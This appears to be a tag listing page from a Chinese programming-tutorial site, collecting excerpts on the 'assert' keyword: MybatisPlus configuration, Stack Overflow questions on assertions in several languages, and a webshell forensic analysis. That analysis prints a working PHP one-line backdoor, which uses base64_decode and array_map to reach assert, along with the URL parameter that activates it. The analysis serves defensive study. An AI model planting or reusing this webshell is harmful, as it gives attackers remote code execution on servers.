assert | 易学教程

SpringBoot与MybatisPlus整合之活动记录(十五)

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活动记录和正常的CRUD效果是一样的，此处只当一个拓展，了解即可 pom.xml <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter</artifactId> </dependency> <dependency> <groupId>com.baomidou</groupId> <artifactId>mybatis-plus-boot-starter</artifactId> <version>3.2.0</version> </dependency> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> </dependency>  <dependency> <groupId>p6spy</groupId> <artifactId>p6spy</artifactId> <version>3.8.0</version> </dependency> <dependency> <groupId>com

Passing null to a method [closed]

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问题 As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance. Closed 7 years ago . I am in the middle of reading the excellent Clean Code One discussion is regarding passing nulls into a method. public class

Symfony2 Validation Datetime 1 should be before Datetime 2

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问题 I'm looking through the Symfony2 Validation Reference but I'm not finding what I need. I have a class Employment with a StartDate and EndDate . I would like to add an \@Assert() where it verifies that StartDate is always BEFORE EndDate . Is there a standard way of comparing class attributes as a Validation Constraint or should I create a custom validation constraint? class Employment { /** * @ORM\Id * @ORM\Column(type="integer") * @ORM\GeneratedValue(strategy="AUTO") * @Expose() */ protected

WebShell代码分析溯源(七)

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WebShell代码分析溯源(七) 一、一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(base64_decode($e), $arr);?> 二、代码分析 1、调整代码格式　　 2、分析代码分析代码，首先使用REQUEST方法接收url中e参数传递的值,然后创建arr数组并把$_POST['POST']赋值给arr数组,然后使用array回调函数将自定义函数x(base64_decode($e)解密出来的值x,这里假设为x),然后x函数作用于arr数组中的每个值上。注:array_map() 函数将用户自定义函数作用到数组中的每个值上，并返回用户自定义函数作用后的带有新值的数组。回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。参考:https://www.w3school.com.cn/php/func_array_map.asp 3、此时可以构造payload:http://www.test.com/test.php?e=YXNzZXJ0，这时再次分析代码，array_map(base64_decode($e), $arr)，就变成了array_map(assert, $arr)，assert为自定义函数

Boolean Expressions in SQL Select list

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问题 I want to create a SQL Select to do a unit test in MS SQL Server 2005. The basic idea is this: select 'Test Name', foo = 'Result' from bar where baz = (some criteria) The idea being that, if the value of the "foo" column is "Result", then I'd get a value of true/1; if it isn't, I'd get false/0. Unfortunately, T-SQL doesn't like the expression; it chokes on the equals sign. Is there some way of evaluating an expression in the SQL select list and getting a returnable result? (Or some other way

PHPUnit: assertInstanceOf() not working

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问题 I need to check if a variable is an object of the User type. User is my class $user my object $this->assertInstanceOf($user,User); This is not working, I have a use of undefined constant User - assumed 'User' Thanks in advance for your help 回答1: http://apigen.juzna.cz/doc/sebastianbergmann/phpunit/function-assertInstanceOf.html I think you are using this function wrong. Try: $this->assertInstanceOf('User', $user); 回答2: It's always a good idea to use ::class wherever you can. If you get used

Why assert is not largely used?

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问题 I found that Python's assert statement is a good way to catch situations that should never happen. And it can be removed by Python optimization when the code is trusted to be correct. It seems to be a perfect mechanism to run Python applications in debug mode. But looking at several Python projects like django, twisted and zope, the assert is almost never used. So, why does this happen? Why are asserts statements not frequently used in the Python community? 回答1: I guess the main reason for

解引用* 与 assert()

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1.*，翻译为解引用。指的是“取指针指向的地址的内容”。指针变量存储”其他变量”的地址，当我们用“*”去操作指针时，取出指针所指内存区域的值。 2. 参考： http://ylwn817.blog.sohu.com/145220898.html assert()是C 语言标准库中提供的一个通用预处理器宏，在代码中常利用assert()来判断一个必需的前提条件以便程序能够正确执行。原型是： #include<assert.h> void assert(int expression); assert的作用是用先计算表达式expression,如果为假（0），则向stderr打印出错信息，然后调用abort来终止程序运行。应用举例：假定我们要读入一个文本文件，并对其中的词进行排序。必需的前提条件是文件名已经提供给我们了这样我们才能打开这个文件。为了使用assert() 必须包含与之相关联的头文件 #include <assert.h> //for example: assert( filename != 0 ); assert()将测试filename 不等于0 的条件是否满足这表示为了后面的程序能够正确执行我们必须断言一个必需的前提条件如果这个条件为假即filename 等于0 断言失败则程序将输出诊断消息然后终止还需要说明的是 assert.h是C语言的头文件

Node.js assert.throws with async functions (Promises)

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I want to check if an async function throws using assert.throws from the native assert module. I tried with const test = async () => await aPromise(); assert.throws(test); // AssertionError: Missing expected exception.. It (obvioulsy?) doesn't work because the function exits before the Promise is resolved. Yet I found this question where the same things is attained using callbacks. Any suggestion? (I'm transpiling to Node.js native generators using Babel) Bergi node 10 and newer Since Node.js v10.0, there is assert.rejects which does just that Older versions of node async functions never throw

SpringBoot整合MybatisPlus3.X之乐观锁(十三)

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主要适用场景意图：当要更新一条记录的时候，希望这条记录没有被别人更新乐观锁实现方式：取出记录时，获取当前version 更新时，带上这个version 执行更新时， set version = newVersion where version = oldVersion 如果version不对，就更新失败乐观锁配置需要2步记得两步 1.插件配置 spring xml: <bean class="com.baomidou.mybatisplus.extension.plugins.OptimisticLockerInterceptor"/> spring boot: @Bean public OptimisticLockerInterceptor optimisticLockerInterceptor() { return new OptimisticLockerInterceptor(); } 2.注解实体字段 @Version 必须要! @Versionprivate Integer version; 特别说明: 支持的数据类型只有:int,Integer,long,Long,Date,Timestamp,LocalDateTime 整数类型下 newVersion = oldVersion + 1 newVersion 会回写到 entity 中仅支持

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